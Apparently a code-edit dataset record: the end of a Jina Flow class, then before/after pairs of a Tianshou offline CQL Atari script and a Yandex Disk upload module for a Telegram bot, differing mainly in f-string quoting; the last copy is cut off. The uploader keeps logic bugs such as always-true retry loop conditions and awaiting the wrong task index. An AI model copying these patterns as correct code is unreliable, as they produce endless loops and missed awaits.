f'classDef {str(PodRoleType.INSPECT_AUX_PASS)} fill:#fff,color:#000,stroke-dasharray: 5 5'
)
mermaid_graph.append('classDef pea fill:#009999,stroke:#1E6E73')
return '\n'.join(mermaid_graph)
def plot(
self,
output: Optional[str] = None,
vertical_layout: bool = False,
inline_display: bool = False,
build: bool = True,
copy_flow: bool = False,
) -> 'Flow':
"""
Visualize the Flow up to the current point
If a file name is provided it will create a jpg image with that name,
otherwise it will display the URL for mermaid.
If called within IPython notebook, it will be rendered inline,
otherwise an image will be created.
Example,
.. highlight:: python
.. code-block:: python
flow = Flow().add(name='pod_a').plot('flow.svg')
:param output: a filename specifying the name of the image to be created,
the suffix svg/jpg determines the file type of the output image
:param vertical_layout: top-down or left-right layout
:param inline_display: show image directly inside the Jupyter Notebook
:param build: build the Flow first before plotting, gateway connection can be better showed
:param copy_flow: when set to true, then always copy the current Flow and
do the modification on top of it then return, otherwise, do in-line modification
:return: the Flow
"""
# deepcopy causes the below error while reusing a Flow in Jupyter
# 'Pickling an AuthenticationString object is disallowed for security reasons'
op_flow = copy.deepcopy(self) if copy_flow else self
if build:
op_flow.build(False)
mermaid_str = op_flow._mermaid_str
if vertical_layout:
mermaid_str = mermaid_str.replace('graph LR', 'graph TD')
image_type = 'svg'
if output and output.endswith('jpg'):
image_type = 'jpg'
url = op_flow._mermaid_to_url(mermaid_str, image_type)
showed = False
if inline_display:
try:
from IPython.display import display, Image
display(Image(url=url))
showed = True
except:
# no need to panic users
pass
if output:
download_mermaid_url(url, output)
elif not showed:
op_flow.logger.info(f'flow visualization: {url}')
return self
def _ipython_display_(self):
"""Displays the object in IPython as a side effect"""
self.plot(
inline_display=True, build=(self._build_level != FlowBuildLevel.GRAPH)
)
def _mermaid_to_url(self, mermaid_str: str, img_type: str) -> str:
"""
Render the current Flow as URL points to a SVG. It needs internet connection
:param mermaid_str: the mermaid representation
:param img_type: image type (svg/jpg)
:return: the url points to a SVG
"""
if img_type == 'jpg':
img_type = 'img'
encoded_str = base64.b64encode(bytes(mermaid_str, 'utf-8')).decode('utf-8')
return f'https://mermaid.ink/{img_type}/{encoded_str}'
@property
@build_required(FlowBuildLevel.GRAPH)
def port_expose(self) -> int:
"""Return the exposed port of the gateway
.. # noqa: DAR201"""
return self._pod_nodes['gateway'].port_expose
@property
@build_required(FlowBuildLevel.GRAPH)
def host(self) -> str:
"""Return the local address of the gateway
.. # noqa: DAR201"""
return self._pod_nodes['gateway'].host
@property
@build_required(FlowBuildLevel.GRAPH)
def address_private(self) -> str:
"""Return the private IP address of the gateway for connecting from other machine in the same network
.. # noqa: DAR201"""
return get_internal_ip()
@property
@build_required(FlowBuildLevel.GRAPH)
def address_public(self) -> str:
"""Return the public IP address of the gateway for connecting from other machine in the public network
.. # noqa: DAR201"""
return get_public_ip()
def __iter__(self):
return self._pod_nodes.items().__iter__()
def _show_success_message(self):
if self._pod_nodes['gateway'].args.restful:
header = 'http://'
protocol = 'REST'
else:
header = 'tcp://'
protocol = 'gRPC'
address_table = [
f'\t🖥️ Local access:\t'
+ colored(
f'{header}{self.host}:{self.port_expose}', 'cyan', attrs='underline'
),
f'\t🔒 Private network:\t'
+ colored(
f'{header}{self.address_private}:{self.port_expose}',
'cyan',
attrs='underline',
),
]
if self.address_public:
address_table.append(
f'\t🌐 Public address:\t'
+ colored(
f'{header}{self.address_public}:{self.port_expose}',
'cyan',
attrs='underline',
)
)
self.logger.success(
f'🎉 Flow is ready to use, accepting {colored(protocol + " request", attrs="bold")}'
)
self.logger.info('\n' + '\n'.join(address_table))
def block(self):
"""Block the process until user hits KeyboardInterrupt"""
try:
threading.Event().wait()
except KeyboardInterrupt:
pass
def use_grpc_gateway(self, port: Optional[int] = None):
"""Change to use gRPC gateway for Flow IO.
You can change the gateway even in the runtime.
:param port: the new port number to expose
"""
self._switch_gateway('GRPCRuntime', port)
def _switch_gateway(self, gateway: str, port: int):
restful = gateway == 'RESTRuntime'
# globally register this at Flow level
self.args.restful = restful
if port:
self.args.port_expose = port
# Flow is build to graph already
if self._build_level >= FlowBuildLevel.GRAPH:
self['gateway'].args.restful = restful
self['gateway'].args.runtime_cls = gateway
if port:
self['gateway'].args.port_expose = port
# Flow is running already, then close the existing gateway
if self._build_level >= FlowBuildLevel.RUNNING:
self['gateway'].close()
self.enter_context(self['gateway'])
self['gateway'].wait_start_success()
def use_rest_gateway(self, port: Optional[int] = None):
"""Change to use REST gateway for IO.
You can change the gateway even in the runtime.
:param port: the new port number to expose
"""
self._switch_gateway('RESTRuntime', port)
def __getitem__(self, item):
if isinstance(item, str):
return self._pod_nodes[item]
elif isinstance(item, int):
return list(self._pod_nodes.values())[item]
else:
raise TypeError(f'{typename(item)} is not supported')
@property
def workspace(self) -> str:
"""Return the workspace path of the flow.
.. # noqa: DAR201"""
return os.path.abspath(self.args.workspace or './')
@property
def workspace_id(self) -> Dict[str, str]:
"""Get all Pods' ``workspace_id`` values in a dict
.. # noqa: DAR201"""
return {
k: p.args.workspace_id for k, p in self if hasattr(p.args, 'workspace_id')
}
@workspace_id.setter
def workspace_id(self, value: str):
"""Set all Pods' ``workspace_id`` to ``value``
:param value: a hexadecimal UUID string
"""
uuid.UUID(value)
for k, p in self:
if hasattr(p.args, 'workspace_id'):
p.args.workspace_id = value
args = getattr(p, 'peas_args', getattr(p, 'replicas_args', None))
if args is None:
raise ValueError(
f'could not find "peas_args" or "replicas_args" on {p}'
)
values = None
if isinstance(args, dict):
values = args.values()
elif isinstance(args, list):
values = args
for v in values:
if v and isinstance(v, argparse.Namespace):
v.workspace_id = value
if v and isinstance(v, List):
for i in v:
i.workspace_id = value
@property
def identity(self) -> Dict[str, str]:
"""Get all Pods' ``identity`` values in a dict
.. # noqa: DAR201
"""
return {k: p.args.identity for k, p in self}
@identity.setter
def identity(self, value: str):
"""Set all Pods' ``identity`` to ``value``
:param value: a hexadecimal UUID string
"""
uuid.UUID(value)
# Re-initiating logger with new identity
self.logger = JinaLogger(self.__class__.__name__, **vars(self.args))
for _, p in self:
p.args.identity = value
# for backward support
join = needs
def rolling_update(self, pod_name: str, dump_path: Optional[str] = None):
"""
Reload Pods sequentially - only used for compound pods.
:param dump_path: the path from which to read the dump data
:param pod_name: pod to update
"""
# TODO: By design after the Flow object started, Flow shouldn't have memory access to its sub-objects anymore.
# All controlling should be issued via Network Request, not via memory access.
# In the current master, we have Flow.rolling_update() & Flow.dump() method avoid the above design.
# Avoiding this design make the whole system NOT cloud-native.
warnings.warn(
'This function is experimental and facing potential refactoring',
FutureWarning,
)
compound_pod = self._pod_nodes[pod_name]
if isinstance(compound_pod, CompoundPod):
compound_pod.rolling_update(dump_path)
else:
raise ValueError(
f'The BasePod {pod_name} is not a CompoundPod and does not support updating'
)
|
#!/usr/bin/env python3
import argparse
import datetime
import os
import pickle
import pprint
import numpy as np
import torch
from torch.utils.tensorboard import SummaryWriter
from examples.atari.atari_network import QRDQN
from examples.atari.atari_wrapper import make_atari_env
from examples.offline.utils import load_buffer
from tianshou.data import Collector, VectorReplayBuffer
from tianshou.policy import DiscreteCQLPolicy
from tianshou.trainer import offline_trainer
from tianshou.utils import TensorboardLogger, WandbLogger
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("--task", type=str, default="PongNoFrameskip-v4")
parser.add_argument("--seed", type=int, default=1626)
parser.add_argument("--eps-test", type=float, default=0.001)
parser.add_argument("--lr", type=float, default=0.0001)
parser.add_argument("--gamma", type=float, default=0.99)
parser.add_argument("--num-quantiles", type=int, default=200)
parser.add_argument("--n-step", type=int, default=1)
parser.add_argument("--target-update-freq", type=int, default=500)
parser.add_argument("--min-q-weight", type=float, default=10.)
parser.add_argument("--epoch", type=int, default=100)
parser.add_argument("--update-per-epoch", type=int, default=10000)
parser.add_argument("--batch-size", type=int, default=32)
parser.add_argument("--hidden-sizes", type=int, nargs="*", default=[512])
parser.add_argument("--test-num", type=int, default=10)
parser.add_argument("--frames-stack", type=int, default=4)
parser.add_argument("--scale-obs", type=int, default=0)
parser.add_argument("--logdir", type=str, default="log")
parser.add_argument("--render", type=float, default=0.)
parser.add_argument("--resume-path", type=str, default=None)
parser.add_argument("--resume-id", type=str, default=None)
parser.add_argument(
"--logger",
type=str,
default="tensorboard",
choices=["tensorboard", "wandb"],
)
parser.add_argument("--wandb-project", type=str, default="offline_atari.benchmark")
parser.add_argument(
"--watch",
default=False,
action="store_true",
help="watch the play of pre-trained policy only"
)
parser.add_argument("--log-interval", type=int, default=100)
parser.add_argument(
"--load-buffer-name", type=str, default="./expert_DQN_PongNoFrameskip-v4.hdf5"
)
parser.add_argument(
"--buffer-from-rl-unplugged", action="store_true", default=False
)
parser.add_argument(
"--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu"
)
args = parser.parse_known_args()[0]
return args
def test_discrete_cql(args=get_args()):
# envs
env, _, test_envs = make_atari_env(
args.task,
args.seed,
1,
args.test_num,
scale=args.scale_obs,
frame_stack=args.frames_stack,
)
args.state_shape = env.observation_space.shape or env.observation_space.n
args.action_shape = env.action_space.shape or env.action_space.n
# should be N_FRAMES x H x W
print("Observations shape:", args.state_shape)
print("Actions shape:", args.action_shape)
# seed
np.random.seed(args.seed)
torch.manual_seed(args.seed)
# model
net = QRDQN(*args.state_shape, args.action_shape, args.num_quantiles, args.device)
optim = torch.optim.Adam(net.parameters(), lr=args.lr)
# define policy
policy = DiscreteCQLPolicy(
net,
optim,
args.gamma,
args.num_quantiles,
args.n_step,
args.target_update_freq,
min_q_weight=args.min_q_weight,
).to(args.device)
# load a previous policy
if args.resume_path:
policy.load_state_dict(torch.load(args.resume_path, map_location=args.device))
print("Loaded agent from: ", args.resume_path)
# buffer
if args.buffer_from_rl_unplugged:
buffer = load_buffer(args.load_buffer_name)
else:
assert os.path.exists(args.load_buffer_name), \
"Please run atari_dqn.py first to get expert's data buffer."
if args.load_buffer_name.endswith(".pkl"):
buffer = pickle.load(open(args.load_buffer_name, "rb"))
elif args.load_buffer_name.endswith(".hdf5"):
buffer = VectorReplayBuffer.load_hdf5(args.load_buffer_name)
else:
print(f"Unknown buffer format: {args.load_buffer_name}")
exit(0)
print("Replay buffer size:", len(buffer), flush=True)
# collector
test_collector = Collector(policy, test_envs, exploration_noise=True)
# log
now = datetime.datetime.now().strftime("%y%m%d-%H%M%S")
args.algo_name = "cql"
log_name = os.path.join(args.task, args.algo_name, str(args.seed), now)
log_path = os.path.join(args.logdir, log_name)
# logger
if args.logger == "wandb":
logger = WandbLogger(
save_interval=1,
name=log_name.replace(os.path.sep, "__"),
run_id=args.resume_id,
config=args,
project=args.wandb_project,
)
writer = SummaryWriter(log_path)
writer.add_text("args", str(args))
if args.logger == "tensorboard":
logger = TensorboardLogger(writer)
else: # wandb
logger.load(writer)
def save_best_fn(policy):
torch.save(policy.state_dict(), os.path.join(log_path, "policy.pth"))
def stop_fn(mean_rewards):
return False
# watch agent's performance
def watch():
print("Setup test envs ...")
policy.eval()
policy.set_eps(args.eps_test)
test_envs.seed(args.seed)
print("Testing agent ...")
test_collector.reset()
result = test_collector.collect(n_episode=args.test_num, render=args.render)
pprint.pprint(result)
rew = result["rews"].mean()
print(f'Mean reward (over {result['n/ep']} episodes): {rew}')
if args.watch:
watch()
exit(0)
result = offline_trainer(
policy,
buffer,
test_collector,
args.epoch,
args.update_per_epoch,
args.test_num,
args.batch_size,
stop_fn=stop_fn,
save_best_fn=save_best_fn,
logger=logger,
)
pprint.pprint(result)
watch()
if __name__ == "__main__":
test_discrete_cql(get_args())
| #!/usr/bin/env python3
import argparse
import datetime
import os
import pickle
import pprint
import numpy as np
import torch
from torch.utils.tensorboard import SummaryWriter
from examples.atari.atari_network import QRDQN
from examples.atari.atari_wrapper import make_atari_env
from examples.offline.utils import load_buffer
from tianshou.data import Collector, VectorReplayBuffer
from tianshou.policy import DiscreteCQLPolicy
from tianshou.trainer import offline_trainer
from tianshou.utils import TensorboardLogger, WandbLogger
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("--task", type=str, default="PongNoFrameskip-v4")
parser.add_argument("--seed", type=int, default=1626)
parser.add_argument("--eps-test", type=float, default=0.001)
parser.add_argument("--lr", type=float, default=0.0001)
parser.add_argument("--gamma", type=float, default=0.99)
parser.add_argument("--num-quantiles", type=int, default=200)
parser.add_argument("--n-step", type=int, default=1)
parser.add_argument("--target-update-freq", type=int, default=500)
parser.add_argument("--min-q-weight", type=float, default=10.)
parser.add_argument("--epoch", type=int, default=100)
parser.add_argument("--update-per-epoch", type=int, default=10000)
parser.add_argument("--batch-size", type=int, default=32)
parser.add_argument("--hidden-sizes", type=int, nargs="*", default=[512])
parser.add_argument("--test-num", type=int, default=10)
parser.add_argument("--frames-stack", type=int, default=4)
parser.add_argument("--scale-obs", type=int, default=0)
parser.add_argument("--logdir", type=str, default="log")
parser.add_argument("--render", type=float, default=0.)
parser.add_argument("--resume-path", type=str, default=None)
parser.add_argument("--resume-id", type=str, default=None)
parser.add_argument(
"--logger",
type=str,
default="tensorboard",
choices=["tensorboard", "wandb"],
)
parser.add_argument("--wandb-project", type=str, default="offline_atari.benchmark")
parser.add_argument(
"--watch",
default=False,
action="store_true",
help="watch the play of pre-trained policy only"
)
parser.add_argument("--log-interval", type=int, default=100)
parser.add_argument(
"--load-buffer-name", type=str, default="./expert_DQN_PongNoFrameskip-v4.hdf5"
)
parser.add_argument(
"--buffer-from-rl-unplugged", action="store_true", default=False
)
parser.add_argument(
"--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu"
)
args = parser.parse_known_args()[0]
return args
def test_discrete_cql(args=get_args()):
# envs
env, _, test_envs = make_atari_env(
args.task,
args.seed,
1,
args.test_num,
scale=args.scale_obs,
frame_stack=args.frames_stack,
)
args.state_shape = env.observation_space.shape or env.observation_space.n
args.action_shape = env.action_space.shape or env.action_space.n
# should be N_FRAMES x H x W
print("Observations shape:", args.state_shape)
print("Actions shape:", args.action_shape)
# seed
np.random.seed(args.seed)
torch.manual_seed(args.seed)
# model
net = QRDQN(*args.state_shape, args.action_shape, args.num_quantiles, args.device)
optim = torch.optim.Adam(net.parameters(), lr=args.lr)
# define policy
policy = DiscreteCQLPolicy(
net,
optim,
args.gamma,
args.num_quantiles,
args.n_step,
args.target_update_freq,
min_q_weight=args.min_q_weight,
).to(args.device)
# load a previous policy
if args.resume_path:
policy.load_state_dict(torch.load(args.resume_path, map_location=args.device))
print("Loaded agent from: ", args.resume_path)
# buffer
if args.buffer_from_rl_unplugged:
buffer = load_buffer(args.load_buffer_name)
else:
assert os.path.exists(args.load_buffer_name), \
"Please run atari_dqn.py first to get expert's data buffer."
if args.load_buffer_name.endswith(".pkl"):
buffer = pickle.load(open(args.load_buffer_name, "rb"))
elif args.load_buffer_name.endswith(".hdf5"):
buffer = VectorReplayBuffer.load_hdf5(args.load_buffer_name)
else:
print(f"Unknown buffer format: {args.load_buffer_name}")
exit(0)
print("Replay buffer size:", len(buffer), flush=True)
# collector
test_collector = Collector(policy, test_envs, exploration_noise=True)
# log
now = datetime.datetime.now().strftime("%y%m%d-%H%M%S")
args.algo_name = "cql"
log_name = os.path.join(args.task, args.algo_name, str(args.seed), now)
log_path = os.path.join(args.logdir, log_name)
# logger
if args.logger == "wandb":
logger = WandbLogger(
save_interval=1,
name=log_name.replace(os.path.sep, "__"),
run_id=args.resume_id,
config=args,
project=args.wandb_project,
)
writer = SummaryWriter(log_path)
writer.add_text("args", str(args))
if args.logger == "tensorboard":
logger = TensorboardLogger(writer)
else: # wandb
logger.load(writer)
def save_best_fn(policy):
torch.save(policy.state_dict(), os.path.join(log_path, "policy.pth"))
def stop_fn(mean_rewards):
return False
# watch agent's performance
def watch():
print("Setup test envs ...")
policy.eval()
policy.set_eps(args.eps_test)
test_envs.seed(args.seed)
print("Testing agent ...")
test_collector.reset()
result = test_collector.collect(n_episode=args.test_num, render=args.render)
pprint.pprint(result)
rew = result["rews"].mean()
print(f'Mean reward (over {result["n/ep"]} episodes): {rew}')
if args.watch:
watch()
exit(0)
result = offline_trainer(
policy,
buffer,
test_collector,
args.epoch,
args.update_per_epoch,
args.test_num,
args.batch_size,
stop_fn=stop_fn,
save_best_fn=save_best_fn,
logger=logger,
)
pprint.pprint(result)
watch()
if __name__ == "__main__":
test_discrete_cql(get_args())
|
import asyncio
import os
import time
from abc import abstractmethod
from typing import TextIO
import nest_asyncio
from aiohttp import ClientSession as clientSession, ClientConnectorError
from tqdm.contrib.telegram import tqdm
from core import users_db, logger
class YandexDisk:
def __init__(self):
self.__RESOURCES_URL = 'https://cloud-api.yandex.net/v1/disk/resources'
self.__ROOT_FOLDER = 'Saved from tg'
# ----authorization---
@staticmethod
@abstractmethod
def link():
link = f'https://oauth.yandex.ru/authorize?&response_type=code' \
f'&client_id={os.environ.get('ya_client_id')}'
return link
@staticmethod
@abstractmethod
async def auth(user_id, ya_token: str):
if len(ya_token) == 7:
async with clientSession() as session:
async with session.post('https://oauth.yandex.ru/token',
data={
'grant_type': 'authorization_code',
'code': ya_token,
'client_id': os.environ.get('ya_client_id'),
'client_secret': os.environ.get('ya_client_secret')
}) as resp:
get_access_token = await resp.json()
if resp.status == 200:
users_db["user"].upsert(
{
"user_id": user_id,
"y_api_token": get_access_token['access_token'],
"ya_user_authorized": True,
}, pk='user_id')
return 'Вы успешно авторизовались в Яндекс диске!'
else:
return f'Ошибка авторизации: {resp.status} в Яндекс диске!'
else:
return f'Вы ввели некорректную информацию'
@staticmethod
async def __request_upload_worker(url: str, params: dict, data: str, headers: dict):
async with clientSession() as session:
async with session.post(url=url, params=params, data=data, headers=headers):
await session.close()
@staticmethod
async def __wrapper(delay, coro):
await asyncio.sleep(delay)
return await coro
async def __multitask_post_requests(self, user_id: int, data: dict, folder_name: str, overwrite: bool = False):
counter = 0
subfolder_path = f'{self.__ROOT_FOLDER}/{folder_name}'
requests_dict = {}
for url, ext in data.items():
requests_dict[counter] = {
'url': f"{self.__RESOURCES_URL}/upload",
'params': {
'path': f'{subfolder_path}/{counter + 1}_file{ext}',
'url': url,
'fields': 'href',
'overwrite': f'{overwrite}'},
'data': None,
'headers': {
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db['user'].get(user_id).get('y_api_token')}'}
}
counter += 1
chunk_size = 10
requests_list = [value for key, value in requests_dict.items()]
list_of_chunks = [requests_list[i:i + chunk_size]
for i in range(0, len(requests_list), chunk_size)]
if len(requests_dict) >= chunk_size:
tasks = []
nest_asyncio.apply()
loop = asyncio.get_running_loop()
for i in tqdm(range(len(list_of_chunks)), token=os.environ.get("BOT_TOKEN"),
chat_id=user_id):
for ch_items in list_of_chunks[i]:
tasks.append(loop.create_task(
self.__wrapper(0.03, self.__request_upload_worker(ch_items['url'],
ch_items['params'],
ch_items['data'],
ch_items['headers']))))
await asyncio.sleep(1.1)
for k in range(len(tasks)):
await tasks[i]
# logger.info(f'user_id {user_id}. Task {i} await: {tasks[i]}')
# ----yandex disk api requests----
async def __request_create_folder(self, user_id, folder_name, recreate_folder):
status = 0
count = 0
while status != 201 or status not in (400, 401, 503, 507):
try:
async with clientSession() as session:
async with session.put(f'{self.__RESOURCES_URL}?',
params={
'path': folder_name
},
data=None,
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db['user'].get(user_id).get('y_api_token')}'
}) as resp:
status = resp.status
count += 1
# logger.info(f'user_id: {user_id}. Try create dir "{folder_name}" in cloud storage.'
# f' Response code: {str(resp.status)}. Message: {await resp.json()}')
match status:
case 0:
pass
case 201:
return True
case 423:
continue
case 429:
await asyncio.sleep(0.05)
case 404:
await self.__request_create_folder(user_id, self.__ROOT_FOLDER,
recreate_folder)
case 409:
if folder_name == self.__ROOT_FOLDER:
return True
elif not recreate_folder:
return True
else:
await self.__request_delete_folder(user_id, folder_name)
case _:
return False
except ClientConnectorError as cce:
logger.info(f'__request_create_folder(user_id: {user_id}) ClientConnectorError' + str(cce.args))
await asyncio.sleep(0.1)
continue
async def __request_delete_folder(self, user_id, folder_name):
status = 0
count = 0
while status != 200 or 202 or 204:
try:
await asyncio.sleep(0.05)
async with clientSession() as session:
async with session.delete(f'{self.__RESOURCES_URL}?',
params={
'path': f'{folder_name}',
'permanently': 'True'
},
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db['user'].get(user_id).get('y_api_token')}'
}) as resp:
status = resp.status
count += 1
# logger.info(f'user_id: {user_id}. Try delete dir "{folder_name}" in cloud storage.'
# f' Response code: {str(resp.status)}. Message: {await resp.json()}')
match status:
case 200 | 202 | 204:
return True
case 423:
continue
case _:
return False
except ClientConnectorError as cce:
logger.info(f'__request_delete_folder(user_id: {user_id}) ClientConnectorError' + str(cce.args))
await asyncio.sleep(0.1)
continue
async def request_publish(self, user_id, folder_name: str):
if users_db["user"].get(user_id).get("ya_upload_completed"):
try:
async with clientSession() as session:
async with session.put(f"{self.__RESOURCES_URL}/publish",
params={
'path': f"{self.__ROOT_FOLDER}/{folder_name}"
},
data=None,
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db['user'].get(user_id).get('y_api_token')}'
}) as put_resp:
logger.info(f'user_id: {user_id}. Publish folder: {self.__ROOT_FOLDER}/{folder_name}.'
f' Response: {put_resp.status}')
except KeyError as ke:
logger.info(f'get_link_file(user_id: {user_id}) KeyError' + str(ke.args))
return f'get_link_file() KeyError {ke.args}'
finally:
published = await self.__request_public(user_id, folder_name)
if published:
for item in published['items']:
if item['name'] == folder_name:
return item['public_url']
else:
return 'При получении ссылки на опубликованный ресурс произошла ошибка'
else:
return f'get_link_file(user_id: {user_id}): ya_upload_completed: 0'
async def __request_public(self, user_id, folder_name: str = ''):
"""get_published_file"""
async with clientSession() as session:
async with session.get(f"{self.__RESOURCES_URL}/public",
params={
'path': f"{self.__ROOT_FOLDER}/{folder_name}",
'type': 'dir',
'preview_crop': 'true'
},
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db['user'].get(user_id).get('y_api_token')}'
}) as resp:
logger.info(f'user_id: {user_id}. Get published folder: {self.__ROOT_FOLDER}/{folder_name}.'
f' Response: {resp.status}')
if resp.status == 200:
return await resp.json()
else:
error = await resp.json()
return error['descriptions']
async def request_download(self, user_id, folder_name: str = '', file: str = '', ext: str = ''):
"""get link to file or folder"""
if users_db["user"].get(user_id).get("ya_upload_completed"):
try:
async with clientSession() as session:
async with session.get(f"{self.__RESOURCES_URL}/download",
params={
'path': f"{self.__ROOT_FOLDER}/{folder_name}/{file}{ext}"
},
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db['user'].get(user_id).get('y_api_token')}'
}) as resp:
logger.info(f'user_id: {user_id}. Download folder: {self.__ROOT_FOLDER}/{folder_name}.'
f' Response: {resp.status}')
except KeyError as ke:
logger.info(f'download_file(user_id: {user_id}) KeyError' + str(ke.args))
return f'download_file() KeyError {ke.args}'
except ClientConnectorError as cce:
logger.info(f'download_file(user_id: {user_id}) ClientConnectorError' + str(cce.args))
return f'download_file() ClientConnectorError {cce.args}'
finally:
href = await resp.json()
if resp.status == 200:
return href['href']
else:
return 'При получении ссылки на загрузку файла произошла ошибка'
else:
return f'download_file(user_id: {user_id}): ya_upload_completed: 0'
# ----processing response from yandex disk api----
async def request_upload_file(self, user_id: int, data: dict, folder_name: str, overwrite: bool = False):
counter = 0
subfolder_path = f'{self.__ROOT_FOLDER}/{folder_name}'
mininterval = len(data) / 1000
async with clientSession() as session:
async for url, ext in tqdm(data.items(), mininterval=mininterval, token=os.environ.get("BOT_TOKEN"),
chat_id=user_id):
try:
async with session.post(f"{self.__RESOURCES_URL}/upload",
params={
'path': f'{subfolder_path}/{counter + 1}_file{ext}',
'url': url,
'overwrite': str(overwrite)
},
data=None,
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db['user'].get(user_id).get('y_api_token')}'
}) as resp:
counter += 1
# logger.info(f" user_id: {user_id} | album: {subfolder_path} | status: {resp.status}")
except ClientConnectorError:
await asyncio.sleep(0.07)
continue
await session.close()
users_db['user'].upsert(
{
"user_id": user_id,
"total_number_uploaded_file":
users_db["user"].get(user_id).get("total_number_uploaded_file") + counter
}, pk="user_id")
logger.info(f'uploaded {counter}')
return counter
async def __create_directory(self, user_id, folder_name, recreate_folder):
users_db['user'].upsert(
{
"user_id": user_id,
"ya_upload_completed": False,
}, pk="user_id")
start_create_dir = time.perf_counter()
logger.info(f'user_id: {user_id}. Try create dir "{folder_name}" in cloud storage.')
if await self.__request_create_folder(user_id, self.__ROOT_FOLDER, recreate_folder=False):
if await self.__request_create_folder(user_id, f'{self.__ROOT_FOLDER}/{folder_name}',
recreate_folder):
end_create_dir = time.perf_counter()
logger.info(f'user_id: {user_id}. Directory creation was done in '
f'{end_create_dir - start_create_dir:0.4f} seconds')
return True
else:
end_create_dir = time.perf_counter()
logger.info(f'user_id: {user_id}. Directory overwrite was done in '
f'{end_create_dir - start_create_dir:0.4f} seconds')
return True
async def upload_file(self, user_id: int, data: dict | TextIO, folder_name: str, overwrite: bool = False,
recreate_folder: bool = True):
start = time.perf_counter()
if isinstance(data, dict):
if await self.__create_directory(user_id, folder_name, recreate_folder):
if (1 <= len(data) <= 10) and (len(data) / await self.request_upload_file(
user_id, data, folder_name, overwrite)) < 1.11111111111:
users_db["user"].upsert(
{
"user_id": user_id,
"ya_upload_completed": True,
}, pk='user_id')
else:
await self.__multitask_post_requests(user_id, data, folder_name, overwrite)
users_db["user"].upsert(
{
"user_id": user_id,
"ya_upload_completed": True,
}, pk='user_id')
elif isinstance(data, TextIO):
pass
end = time.perf_counter()
logger.info(f'upload_file(user_id: {user_id}) was completed in {end - start:0.4f} seconds')
| import asyncio
import os
import time
from abc import abstractmethod
from typing import TextIO
import nest_asyncio
from aiohttp import ClientSession as clientSession, ClientConnectorError
from tqdm.contrib.telegram import tqdm
from core import users_db, logger
class YandexDisk:
def __init__(self):
self.__RESOURCES_URL = 'https://cloud-api.yandex.net/v1/disk/resources'
self.__ROOT_FOLDER = 'Saved from tg'
# ----authorization---
@staticmethod
@abstractmethod
def link():
link = f'https://oauth.yandex.ru/authorize?&response_type=code' \
f'&client_id={os.environ.get("ya_client_id")}'
return link
@staticmethod
@abstractmethod
async def auth(user_id, ya_token: str):
if len(ya_token) == 7:
async with clientSession() as session:
async with session.post('https://oauth.yandex.ru/token',
data={
'grant_type': 'authorization_code',
'code': ya_token,
'client_id': os.environ.get('ya_client_id'),
'client_secret': os.environ.get('ya_client_secret')
}) as resp:
get_access_token = await resp.json()
if resp.status == 200:
users_db["user"].upsert(
{
"user_id": user_id,
"y_api_token": get_access_token['access_token'],
"ya_user_authorized": True,
}, pk='user_id')
return 'Вы успешно авторизовались в Яндекс диске!'
else:
return f'Ошибка авторизации: {resp.status} в Яндекс диске!'
else:
return f'Вы ввели некорректную информацию'
@staticmethod
async def __request_upload_worker(url: str, params: dict, data: str, headers: dict):
async with clientSession() as session:
async with session.post(url=url, params=params, data=data, headers=headers):
await session.close()
@staticmethod
async def __wrapper(delay, coro):
await asyncio.sleep(delay)
return await coro
async def __multitask_post_requests(self, user_id: int, data: dict, folder_name: str, overwrite: bool = False):
counter = 0
subfolder_path = f'{self.__ROOT_FOLDER}/{folder_name}'
requests_dict = {}
for url, ext in data.items():
requests_dict[counter] = {
'url': f"{self.__RESOURCES_URL}/upload",
'params': {
'path': f'{subfolder_path}/{counter + 1}_file{ext}',
'url': url,
'fields': 'href',
'overwrite': f'{overwrite}'},
'data': None,
'headers': {
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db["user"].get(user_id).get("y_api_token")}'}
}
counter += 1
chunk_size = 10
requests_list = [value for key, value in requests_dict.items()]
list_of_chunks = [requests_list[i:i + chunk_size]
for i in range(0, len(requests_list), chunk_size)]
if len(requests_dict) >= chunk_size:
tasks = []
nest_asyncio.apply()
loop = asyncio.get_running_loop()
for i in tqdm(range(len(list_of_chunks)), token=os.environ.get("BOT_TOKEN"),
chat_id=user_id):
for ch_items in list_of_chunks[i]:
tasks.append(loop.create_task(
self.__wrapper(0.03, self.__request_upload_worker(ch_items['url'],
ch_items['params'],
ch_items['data'],
ch_items['headers']))))
await asyncio.sleep(1.1)
for k in range(len(tasks)):
await tasks[i]
# logger.info(f'user_id {user_id}. Task {i} await: {tasks[i]}')
# ----yandex disk api requests----
async def __request_create_folder(self, user_id, folder_name, recreate_folder):
status = 0
count = 0
while status != 201 or status not in (400, 401, 503, 507):
try:
async with clientSession() as session:
async with session.put(f'{self.__RESOURCES_URL}?',
params={
'path': folder_name
},
data=None,
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db["user"].get(user_id).get("y_api_token")}'
}) as resp:
status = resp.status
count += 1
# logger.info(f'user_id: {user_id}. Try create dir "{folder_name}" in cloud storage.'
# f' Response code: {str(resp.status)}. Message: {await resp.json()}')
match status:
case 0:
pass
case 201:
return True
case 423:
continue
case 429:
await asyncio.sleep(0.05)
case 404:
await self.__request_create_folder(user_id, self.__ROOT_FOLDER,
recreate_folder)
case 409:
if folder_name == self.__ROOT_FOLDER:
return True
elif not recreate_folder:
return True
else:
await self.__request_delete_folder(user_id, folder_name)
case _:
return False
except ClientConnectorError as cce:
logger.info(f'__request_create_folder(user_id: {user_id}) ClientConnectorError' + str(cce.args))
await asyncio.sleep(0.1)
continue
async def __request_delete_folder(self, user_id, folder_name):
status = 0
count = 0
while status != 200 or 202 or 204:
try:
await asyncio.sleep(0.05)
async with clientSession() as session:
async with session.delete(f'{self.__RESOURCES_URL}?',
params={
'path': f'{folder_name}',
